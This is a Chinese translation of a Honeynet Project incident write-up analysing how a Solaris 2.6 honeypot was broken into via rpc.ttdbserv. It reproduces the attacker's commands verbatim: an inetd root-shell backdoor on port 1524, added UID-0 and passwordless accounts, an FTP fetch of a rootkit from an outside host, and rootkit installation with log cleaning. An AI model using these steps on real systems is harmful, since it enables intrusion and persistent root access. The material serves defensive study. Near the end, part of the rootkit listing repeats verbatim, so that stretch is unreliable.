Know Your Enemy: Motives
黑客社團的動機和心理
Honeynet Project
http://project.honeynet.org
http://www.xfocus.org
Last Modified: 27 June, 2000
該篇文章是<Know Your Enemy>系列之一,該系列主要介紹黑客社團使用的工具和策略。該文章不像該系列其他的文章主要介紹黑客社團怎樣怎樣、特別是他們使用的技術和工具的實現,而是分析他們的動機和心理。第一部分介紹一台Solaris 2.6系統被入侵,第二部分所提到的很少有相關信息發布,介紹在黑客入侵系統後14天內在“蜜罐”中的通話和行動記錄,通過這些信息我們可以了解他們為什麼和怎樣攻擊計算機系統。在入侵後,他們緊接著在系統中放置了一個IRC bot,這個東西是由黑客們所配置和實現的,用來抓取在IRC頻道中的所有聊天記錄。我們在這兩個星期當中一直監視這些記錄,所有的信息都羅列在下面。這篇文章並不是要對整個黑客社團的行為作一個概括,相反,我們通過在事件當中一些個體行為的介紹,來給大家一些提示”他們當中某些人怎樣想和怎樣做“,這也是我們在安全領域所面對的一些普通現象,我們真誠的希望其他安全人員能夠從中受益。
下面的所有信息是通過"honeynet"得到的。"honeynet",顧名思義,就是由網絡上大量的"蜜罐"所組成,"蜜罐"最簡單的定義就是通過精心設計的將被黑客社團所攻擊的目標主機。一些"蜜罐"是用來分散攻擊者攻擊真正主機的注意力,另外一些是用來學習攻擊者所使用的工具和策略的,我們這裡所提到是屬於後者。在本文中提到的很多信息被做了一些修改,特別是用戶名和口令、信用卡號、以及很多主機名,其他如確切技術細節、工具以及聊天記錄我們並沒有作修改。所有信息在被發布之前都已經遞交給CERT和FBI,同時對於哪些我們確信遭受入侵的系統,大約發了370份通告給它們的管理員。
ForeWord, by Brad Powell
第一部分:入侵
我們這裡使用的"蜜罐"是缺省安裝的Solaris 2.6系統,沒有任何修改和安裝補丁程序。在此討論的漏洞在任何缺省安裝沒有使用補丁程序的Solaris 2.6系統上都存在。這也是整個"蜜罐"的設計意圖,在系統上布置漏洞並學習它是如何被攻破的。在被攻擊過程中,我們可以學習黑客社團所使用的工具和策略。同時"蜜罐"本身也被設計跟蹤黑客的每一步行為。
在2000年6月4日,我們的缺省安裝Solaris 2.6的"蜜罐"遭受到針對rpc.ttdbserv漏洞的攻擊,該漏洞允許在ToolTalk 對象數據庫服務上通過溢出遠程執行代碼(見CVE-1999-0003)。該漏洞在SANS組織的TOP 10上名列第三。我們使用基於sniffer的免費IDS系統Snort檢測到該攻擊的。
Jun 4 11:37:58 lisa snort[5894]: IDS241/rpc.ttdbserv-solaris-kill: 192.168.78.12:877 -> 172.16.1.107:32775
rpc.ttdbserv漏洞允許遠程用戶通過緩沖溢出攻擊在目標系統上以root權限執行任意命令。下面是攻擊者在攻擊成功後,在系統上安裝後門,具體如下所示:攻擊者在'/tmp/bob'文件中加上ingreslock服務(在/etc/service預定義的,端口1524),然後以改文件作為配置文件重新啟動inetd,這樣/bin/sh被以root權限幫定在1524端口,給予了遠程用戶root存取權限。
/bin/ksh -c echo 'ingreslock stream tcp nowait root /bin/sh sh -i' >>/tmp/bob ; /usr/sbin/inetd -s /tmp/bob.
當黑客安裝了後門,他緊接著連接到1524端口,作為root獲得一個shell,並開始執行如下命令。他增加了兩個系統用戶帳號,以便以後可以telnet上來,注意這裡的錯誤和";"控制字符(因為1524端口的shell沒有正確的環境)。
# cp /etc/passwd /etc/.tp;
^Mcp /etc/shadow /etc/.ts;
echo "r:x:0:0:User:/:/sbin/sh" >> /etc/passwd;
echo "re:x:500:1000:daemon:/:/sbin/sh" >> /etc/passwd;
echo "r::10891::::::" >> /etc/shadow;
echo "re::6445::::::" >> /etc/shadow;
: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# ^M: not found
# who;
rsides console May 24 21:09
^M: not found
# exit;
此時,攻擊者在我們系統上擁有了兩個帳號,他可以以're'用戶telnet上來,並可以通過su成UID為0的'r'用戶來獲得系統root權限。我們將回顧一下攻擊者當時以及後來的擊鍵記錄。
!"' !"P#$#$'Linux'
SunOS 5.6
login: re
Choose a new password.
New password: abcdef
Re-enter new password: abcdef
telnet (SYSTEM): passwd sUCcessfully changed for re
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
$ su r
現在黑客擁有了root權限,一般來首,下一步要做的就是安裝一些rootkit並控制系統。首先我們看到黑客在系統上產生一個隱藏目錄來隱藏他的工具包。
# mkdir /dev/".. "
# cd /dev/".. "
在產生隱藏目錄後,黑客開始從其他機器上存取rootkit。
# FTP shell.example.net
Connected to shell.example.net.
220 shell.example.net FTP server (Version 6.00) ready.
Name (shell.example.net:re): j4n3
331 Password required for j4n3.
Password:abcdef
230 User j4n3 logged in.
ftp> get sun2.tar
200 PORT command successful.
150 Opening ASCII mode data connection for 'sun2.tar' (1720320 bytes).
226 Transfer complete.
local: sun2.tar remote: sun2.tar
1727580 bytes received in 2.4e+02 seconds (6.90 Kbytes/s)
ftp> get l0gin
200 PORT command successful.
150 Opening ASCII mode data connection for 'l0gin' (47165 bytes).
226 Transfer complete.
226 Transfer complete.
local: l0gin remote: l0gin
47378 bytes received in 7.7 seconds (6.04 Kbytes/s)
ftp> quit
U221 Goodbye.
一旦rootkit被成功下載,該工具包被解開並被安裝。注意整個安裝過程只執行了一個簡單的腳本 setup.sh,這個腳本調用另外一個腳本 secure.sh。你也可以下載在這裡使用整個Solaris rootkit。
# tar -xvf sun2.tar
x sun2, 0 bytes, 0 tape blocks
x sun2/me, 859600 bytes, 1679 tape blocks
x sun2/ls, 41708 bytes, 82 tape blocks
x sun2/netstat, 6784 bytes, 14 tape blocks
x sun2/tcpd, 19248 bytes, 38 tape blocks
x sun2/setup.sh, 1962 bytes, 4 tape blocks
x sun2/ps, 35708 bytes, 70 tape blocks
x sun2/packet, 0 bytes, 0 tape blocks
x sun2/packet/sunst, 9760 bytes, 20 tape blocks
x sun2/packet/bc, 9782 bytes, 20 tape blocks
x sun2/packet/sm, 32664 bytes, 64 tape blocks
x sun2/packet/newbc.txt, 762 bytes, 2 tape blocks
x sun2/packet/syn, 10488 bytes, 21 tape blocks
x sun2/packet/s1, 12708 bytes, 25 tape blocks
x sun2/packet/sls, 19996 bytes, 40 tape blocks
x sun2/packet/smaq, 10208 bytes, 20 tape blocks
x sun2/packet/udp.s, 10720 bytes, 21 tape blocks
x sun2/packet/bfile, 2875 bytes, 6 tape blocks
x sun2/packet/bfile2, 3036 bytes, 6 tape blocks
x sun2/packet/bfile3, 20118 bytes, 40 tape blocks
x sun2/packet/sunsmurf, 11520 bytes, 23 tape blocks
x sun2/sys222, 34572 bytes, 68 tape blocks
x sun2/m, 9288 bytes, 19 tape blocks
x sun2/l0gin, 47165 bytes, 93 tape blocks
x sun2/sec, 1139 bytes, 3 tape blocks
x sun2/pico, 222608 bytes, 435 tape blocks
x sun2/sl4, 28008 bytes, 55 tape blocks
x sun2/fix, 10360 bytes, 21 tape blocks
x sun2/bot2, 508 bytes, 1 tape blocks
x sun2/sys222.conf, 42 bytes, 1 tape blocks
x sun2/le, 21184 bytes, 42 tape blocks
x sun2/find, 6792 bytes, 14 tape blocks
x sun2/bd2, 9608 bytes, 19 tape blocks
x sun2/snif, 16412 bytes, 33 tape blocks
x sun2/secure.sh, 1555 bytes, 4 tape blocks
x sun2/log, 47165 bytes, 93 tape blocks
x sun2/check, 46444 bytes, 91 tape blocks
x sun2/zap3, 13496 bytes, 27 tape blocks
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)
這裡rootkit安裝腳本第一次清理和攻擊者行為相關的日志文件信息。
- WTMP:
/var/adm/wtmp is Sun Jun 4 11:47:
x sun2/idrun, 188 bytes, 1 tape blocks
x sun2/idsol, 15180 bytes, 30 tape blocks
x sun2/sniff-10mb, 16488 bytes, 33 tape blocks
x sun2/sniff-100mb, 16496 bytes, 33 tape blocks
# rm sun2.tar
# mv l0gin sun2
#cd sun2
#./setup.sh
hax0r w1th K1dd13
Ok This thing is complete :-)
這裡rootkit安裝腳本第一次清理和攻擊者行為相關的日志文件信息。
- WTMP:
/var/adm/wtmp is Sun Jun 4 11:47: